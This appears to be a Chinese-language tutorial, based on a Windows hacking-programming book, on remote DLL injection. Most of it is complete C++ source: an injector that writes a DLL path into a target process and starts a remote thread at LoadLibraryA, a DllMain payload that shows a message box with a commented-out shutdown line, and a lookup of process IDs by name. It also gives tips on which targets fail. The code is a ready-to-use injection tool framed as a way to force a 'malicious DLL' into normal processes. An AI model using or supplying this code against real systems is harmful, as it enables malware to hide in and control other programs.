代码根据《windows黑客编程技术详解》来的
远程DLL注入:把我们的恶意DLL强制注入到正常的进程中
每个程序执行时都会调用kernal32.dll,加载DLL时,通过LoadLibrary函数,这个函数只有一个参数,就是DLL路径字符串
如果我们知道目标程序中的LoadLibrary函数的地址,然后把恶意DLL路径字符串强制给他,是否他就加载了我们的DLL了呢?
答案是是的
这个是传统简易版的,根据pid来注入
我们的加载程序CRT.cpp
#include <Windows.h>
#include <iostream>
#include "CRT.h"
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName); //声明下面有这个函数
using namespace std;
int main() {
if (CreateRemoteThreadInjectDll(18236, "C:\\Users\\86132\\source\\repos\\CreateRemoteThread\\x64\\Release\\CreateRemoteThreadDll.dll")) //18236:目标程序进程;路径是恶意dll绝对路径
printf("Inject Success");
else
printf("Inject Fail");
system("pause");
}
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName) {
HANDLE hProcess = NULL; //进程句柄初始化
DWORD dwSize = 0;
LPVOID pDllAddr = NULL; //内存中申请空间时返回的页面基址 初始化
FARPROC pFuncProcAddr = NULL; //kernal32.dll中LoadLibrary函数的地址 初始化
//打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess) {
MessageBoxA(NULL, "OpenProcess", "提示", MB_OK);
return FALSE;
}
//在进程中申请内存
dwSize = 1 + ::lstrlenA(pszDllFileName); //计算路径名字长度,并且在结尾加上0
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr){
MessageBoxA(NULL, "VirtualAllocEx", "提示", MB_OK);
return FALSE;
}
//向内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
MessageBoxA(NULL, "WriteProcessMemory", "提示", MB_OK);
return FALSE;
}
//获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) {
MessageBoxA(NULL, "GetProcAddress", "提示", MB_OK);
return FALSE;
}
//创建远线程,实现注入
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0);
if (NULL == hRemoteThread) {
MessageBoxA(NULL, "CreateRemoteThread", "提示", MB_OK);
return FALSE;
}
//关闭句柄
::CloseHandle(hProcess);
return TRUE;
}
生成exe,
我们的恶意DLL CreateRemoteThreadDll.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //DLL被加载时,调用下面代码
MessageBox(NULL, TEXT("远程成功"), TEXT("提示"), 0); //弹窗
//system("shutdown -s -t 300"); //300s后关机
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译生成DLL
执行exe后,注入成功
过程分析如下
远程进程注入成功,却没有加载dll
1、dll路径必须是绝对路径
2、要注入的目标进程,有些权限较高,calc wechat这些我都失败了,注入的目标进程设为一个简单的,比如说你自己写的一个简单的exe
相对路径,虽然显示注入成功,但是DLL并没有被加载,没有弹框
很多进程都注入不成功!calc wechat都不成功,上面注入成功的是我自己写的一个exe
SESSION 0隔离机制
下面是利用文件名来获取进程id
#include <Windows.h>
#include <iostream>
#include "CRT.h"
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
DWORD GetProcessIdByName(TCHAR *pProcess)
{
DWORD ProcessId = NULL;
PROCESSENTRY32 lppe; //进程快照信息结构体
lppe.dwSize = sizeof(lppe); //进程快照大小
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); //拍摄进程快照
if (hProcessSnap == INVALID_HANDLE_VALUE) //拍摄失败返回INVALID_HANDLE_VALUE
{
MessageBoxA(NULL, "CreateToolhelp32Snapshot", "提示", MB_OK);
return NULL;
}
BOOL bMore = ::Process32First(hProcessSnap, &lppe); //获取第一个进程
while (bMore) {
if (strcmp(lppe.szExeFile, pProcess) == 0) { //szExeFile:进程结构体中可执行文件的名称,strcmp:比较两个字符串是否相等
ProcessId = lppe.th32ProcessID; //相等返回0;th32ProcessID:结构体中进程id
break;
}
bMore = ::Process32Next(hProcessSnap, &lppe); //查找下一个进程
}
::CloseHandle(hProcessSnap);
return ProcessId;
}